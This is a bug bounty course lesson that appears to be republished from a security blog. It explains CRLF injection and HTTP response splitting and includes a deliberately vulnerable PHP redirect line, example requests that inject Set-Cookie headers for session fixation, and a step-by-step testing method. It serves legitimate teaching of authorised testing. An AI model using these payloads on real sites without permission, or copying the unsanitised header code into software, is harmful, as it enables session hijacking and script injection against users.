📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
DAY 24
🎯 BUG BOUNTY COURSE
FREE
Part of the 60-Day Bug Bounty Mastery Course
Day 24 of 60 · 40% complete
HTTP headers are separated by a specific two-character sequence: carriage return followed by line feed, written as \r\n or in URL encoding as %0d%0a. Web servers treat every occurrence of this sequence as the end of one header and the beginning of the next. When an application takes a value from a URL parameter and puts it directly into a response header — a Location redirect, a Set-Cookie header, a custom header — and that parameter can contain %0d%0a characters without filtering, I can inject my own headers into the response. That’s CRLF injection. With two CRLF sequences (%0d%0a%0d%0a), I can inject an entirely new HTTP response. With a crafted Set-Cookie header, I can fix a session. With injected HTML after a double-CRLF, I can execute JavaScript on the target domain. Today I’m showing you exactly how to find, test, and report CRLF injection — and how to escalate it to its maximum impact before filing your report. Just a miss from my end that i missed Day 24 and there is a reason for that, you will know why.
🎯 After Day 24
Understand the HTTP header structure that makes CRLF injection possible
Test for CRLF injection using URL-encoded payloads across redirect and header parameters
Escalate CRLF injection to XSS via HTTP response splitting
Inject Set-Cookie headers to demonstrate session fixation capability
Write a complete bug bounty report that demonstrates the maximum impact chain
⏱️ 35 min read · 3 exercises · Day 24 of 60 ### 📋 Day 24 — CRLF Injection Bug Bounty 1. How CRLF Injection Works 2. Finding Injection Points 3. HTTP Response Splitting 4. Set-Cookie Injection — Session Fixation 5. Encoding Bypasses for WAF Evasion 6. Reporting for Maximum Payout Day 23 covered WebSocket vulnerabilities — a relatively modern protocol attack surface. Today’s CRLF injection is a classic web vulnerability that’s been around since the early 2000s but still appears regularly on bug bounty programs because developers keep making the same mistake: reflecting unsanitised user input into HTTP headers.
How CRLF Injection Works
HTTP/1.1 responses use CRLF (\r\n) to separate headers from each other and a double CRLF (\r\n\r\n) to separate headers from the response body. When an application builds an HTTP response by concatenating user input into header values without filtering newlines, injecting %0d%0a (CRLF) characters allows the user to insert additional headers — or terminate the header section entirely and inject an arbitrary response body.
CRLF INJECTION — HOW IT BREAKS HTTP RESPONSE STRUCTURECopy
Legitimate redirect response
HTTP/1.1 302 Found
Location: https://example.com/dashboard
Content-Type: text/html
Vulnerable code (PHP example)
header(“Location: ” . $_GET[‘url’]);
Attacker request
GET /redirect?url=https://example.com%0d%0aSet-Cookie:+session=evil HTTP/1.1
Result — CRLF splits the Location header
HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: session=evil ← INJECTED
Content-Type: text/html
Finding Injection Points
CRLF injection lives wherever user input appears in response headers. My primary targets on any bug bounty scope: redirect parameters (next=, return=, redirect=, url=), login/logout endpoints that redirect post-action, URL canonicalisation redirects, and any endpoint that echoes custom headers from the request back in the response.
CRLF INJECTION TESTING — METHODOLOGYCopy
Step 1: Identify parameters reflected in response headers
GET /redirect?url=FUZZ_HERE HTTP/1.1
Check response: does FUZZ_HERE appear in Location header?
Step 2: Test basic CRLF injection
GET /redirect?url=https://example.com%0d%0aX-Injected:+test HTTP/1.1
VULNERABLE: response contains X-Injected: test header
NOT VULN: %0d%0a stripped or encoded → no new header
Step 3: Try LF-only injection (%0a)
GET /redirect?url=https://example.com%0aX-Injected:+test HTTP/1.1
Step 4: Escalate confirmed injection
Set-Cookie injection:
url=https://example.com%0d%0aSet-Cookie:+session=attacker;+Path=/
Check Burp Proxy → Response headers for injected content
🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)
Research CRLF Injection Reports and Test the PortSwigger Lab
⏱️ 20 minutes · Browser — HackerOne Hacktivity + PortSwigger Academy
CRLF injection has a large collection of real disclosed reports. Reading 3 real reports before testing gives you the mental model of what validators look for and what gets paid versus rejected.
Step 1: Find CRLF injection reports on HackerOne
Go to: hackerone.com/hacktivity
Search: “CRLF injection” or “HTTP response splitting”
Find 3 disclosed reports. For each note:
– What was the vulnerable parameter?
– What header was injected?
– Was it escalated to XSS or session fixation?
– What was the payout?
Step 2: Read PortSwigger’s CRLF lab description Go to: portswigger.net/web-security/response-manipulation What does PortSwigger classify as the highest-impact CRLF exploit? What does “HTTP response splitting” enable beyond header injection?
Step 3: Find a publicly known CRLF injection instance Search: “CRLF injection redirect parameter site:medium.com” What redirect parameters (?next=, ?return=, ?url=) were most commonly vulnerable? What was the recommended remediation in the writeup?
Step 4: Check which bug bounty programs accept CRLF Look at 3 major programs’ security policy pages Do they list CRLF injection as in-scope? What minimum severity do they assign to it?
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)